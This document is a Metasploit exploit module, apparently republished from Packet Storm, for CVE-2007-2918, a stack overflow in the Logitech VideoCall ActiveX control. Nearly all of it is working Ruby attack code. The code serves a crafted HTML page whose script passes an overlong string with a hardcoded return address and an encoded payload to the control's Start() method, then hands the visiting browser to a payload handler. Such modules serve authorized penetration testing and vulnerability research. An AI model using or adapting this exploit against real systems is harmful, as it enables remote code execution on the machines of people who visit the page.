This Metasploit module exploits a stack overflow in the Logitech VideoCall ActiveX Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the "Start()" method, an attacker may be able to execute arbitrary code.
0c7b04e1f849ddc4850c9536ff8dd998900875f3fa62c18765a1cd7361e9fabc##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Logitech VideoCall ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the Logitech VideoCall ActiveX
Control (wcamxmp.dll 2.0.3470.448). By sending a overly long string to the
"Start()" method, an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2007-2918' ],
[ 'OSVDB', '36820'],
[ 'BID', '24254' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x09\x0a\x0d'\\",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP Pro SP2 English', { 'Offset' => 120, 'Ret' => 0x7c941eed } ],
],
'DisclosureDate' => 'May 31 2007',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Randomize some things
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Set the exploit buffer
sploit = rand_text_alpha(target['Offset']) + [target.ret].pack('V') + p.encoded
# Build out the message
content = %Q|
<html>
<object classid='clsid:BF4C7B03-F381-4544-9A33-CB6DAD2A87CD' id='#{vname}'></object>
<script language='javascript'>
var #{vname} = document.getElementById('#{vname}');
var #{strname} = new String('#{sploit}');
#{vname}.Start(#{vname}, #{vname}, #{strname});
</script>
</html>
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
© 2022 Packet Storm. All rights reserved.
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